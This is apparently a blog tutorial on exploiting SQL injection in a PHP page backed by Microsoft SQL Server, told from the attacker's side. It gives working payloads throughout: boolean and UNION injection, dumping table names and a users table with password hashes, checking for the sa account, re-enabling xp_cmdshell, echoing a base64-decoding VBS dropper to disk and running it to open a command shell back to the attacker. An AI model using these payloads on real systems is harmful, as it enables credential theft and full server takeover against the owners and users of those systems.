SQL can be easily manipulated they are the most vulnerable
field, since it handles the access to the Database. This following content aims
on a Windows server and MS SQL server specifically. Most of this can be applied
to other environments too.
Let’s suppose that you’ve found an SQL injection vulnerability on a page that
has a GET parameter called “item” and that shows the details of a single item.
Then you might be wondering how could I exploit it.
The url looks something like:
vuln.php?item=1
Injection
Let’s assume that in the database there is a table with 5 columns: id (integer,
row id), data (text), name (text), priority(integer) and private (bool). Then
in the application, one could (but shouldn't) write an SQL query like:
"select
id, data, name, priority, private from Example where id = " +
Request["item"] + " and private = 0”
Now if a malicious user enters something nasty, like
vuln.php?item=0
or 1=1--
then, the query will return all rows from the table, including rows with
private set to 1; the query will become:
select
id, data, name, priority, private from Example where id = 0 or 1=1-- and
private = 0
The next logical step is to find out how many columns of data are returned from
the query; remember that the attacker doesn’t see it, but instead has to try
different things and see how the query is constructed. To find out the number
of columns, you have basically 2 options:
- Add an order by statement, like “vuln.php?item=1 order
by 1 –“ then increment the number one by one until the app crashes. The
number of columns is the highest value that will work.
- Or create union query and see how many columns you have
to union for the query to work: “-1 union select ‘1’ –“. Notice that when
using this method, you should select an Id that doesn’t exist…
Access
other data
After you’ve figured out how many columns there are, it’s easy to craft a union
query and fetch something useful from the database. The only hindrance is that
since this is a details view, for a single item, you can’t select multiple rows
to display. You could select only 1 row at a time with your select clause, or
if the SQL Server is 2005 or newer, you can select data as an xml using “for
xml raw” statement like:
vuln.php?item=-1
union all select '1', '1',(select name from sys.tables for xml raw),'1','1','1'
--
Now let’s see what the query returns:
‘1’,
‘1’, ‘<row name="users"/><row name="LogData"/><row
name="Example"/>’, ‘1’, ‘1’, ‘1’
The users looks like an interesting place to look at, so let’s modify the query
a bit:
vuln.php?item=-1
union all select '1', '1',(select * from users
for xml raw),'1','1','1' –
Now the query will return something like:
‘1’,
‘1’, ‘<row id="1" username="admin" password="0baea2f0ae20150db78f58cddac442a9"
is_admin="1"/><row id="2" username="user" password="5f4dcc3b5aa765d61d8327deb882cf99"
is_admin="0"/>…’, ‘1’, ‘1’, ‘1’
So next logical step is to go to your favorite hash cracker and find out the password
for admin user.
After that, you could try a couple more things with the server… Probably first
you could see if you can read other databases. Basically you can get them with
the same kind of union clause:
vuln.php?item=-1
union all select '1', '1',( SELECT name FROM master..sysdatabases for xml raw),'1','1','1'
–
Then see if those databases have interesting tables / data…
Database
user
But since this is a MS SQL you could try to get even further, start by finding
out which user is used in the sql connection; if you’re in luck the user is
“sa”. Again use the union clause:
vuln.php?item=-1
union all select '1', '1',(SELECT SYSTEM_USER),'1','1','1' –
You will get something like:
‘1’,
‘1’, ‘sa’, ‘1’, ‘1’, ‘1’
If the user actually was sa, you have full access to the database.
So now that you own the database, you want to go further, right? The further
steps assume that the ‘sa’ account was in fact encountered.
Accessing
the command line
In MS SQL server there is one cool stored procedure called xp_cmdshell. What it
does is basically fire up cmd and run the command that is passed to it as
param, like
exec
xp_cmdshell 'dir c:\'
Simple enough, eh? Too bad you can’t run stored procedures with select clauses,
so you have to execute the commands blindly by separating the stored procedure
from the select query with semicolon ( ; ). In addition, that proc is usually
disabled, but since we are in as SA –user, we can enable it again. To enable it
again, just run the following via the SQLi vuln:
vuln.php?item=1;
EXEC master.dbo.sp_configure
'show advanced options', 1; RECONFIGURE; EXEC master.dbo.sp_configure 'xp_cmdshell',
1;RECONFIGURE
Now the stored procedure should be enabled. To test it out, you could fire up
your favorite network traffic listener and ping yourself using xp_cmdshell
proc. If that worked, you can execute programs on the target server.
And since I know that you’re not satisfied with only running commands blindly,
let’s take this one step further. We need to upload an executable that will
connect my box and give me a command line.
Echo
and redirecting output
Let’s have a look at windows command line a bit. For this exploit, you need the
command ECHO, a command that echoes what you type, and then we need to redirect
that output to a file. Here’s an example about echo:
C:\>
ECHO test
test
Then I can redirect the output to a file using greater than sign like so:
C:\>
ECHO test > output.txt
To append data to a file, use double greater than signs:
C:\>
ECHO test2 >> output.txt
Now the file will contain 2 rows:
test
test2
To continue with the same example as previously, with the vulnerable parameter
“item” you could call the stored proc with:
vuln.php?item=1;
exec xp_cmdshell 'echo test > c:\output.txt';--
Creating
binary files
We can’t create binary files with this method though, so how would we upload a
program that is in binary, if we can’t create binary files? Probably the most
common way to encode binary into non binary strings is Base 64 and since the
target is a windows server, we could create a .vbs file that contains the
base64 string and will extract it when it’s executed. The following will have
the base64 encoded value and extract it to a file called out.exe to the root of
the C –drive: a
vbs script in pastebin.
To upload the file, you need to echo it line by line and redirect the output to
a file that has an extension .vbs. After the file has been uploaded simply
execute it to create the actual payload binary and finally execute the out.exe:
vuln.php?item=1;
exec xp_cmdshell ‘c:\myfile.vbs’;--
vuln.php?item=1;
exec xp_cmdshell ‘c:\out.exe’;--
If your payload provided you a command prompt, the first thing to do, is run
whoami. If the system admins are lazy, you’ll get:
nt
authority\system
and if not, then you have to try and escalate your privileges.
Happy
Coding :)
Comments
Post a Comment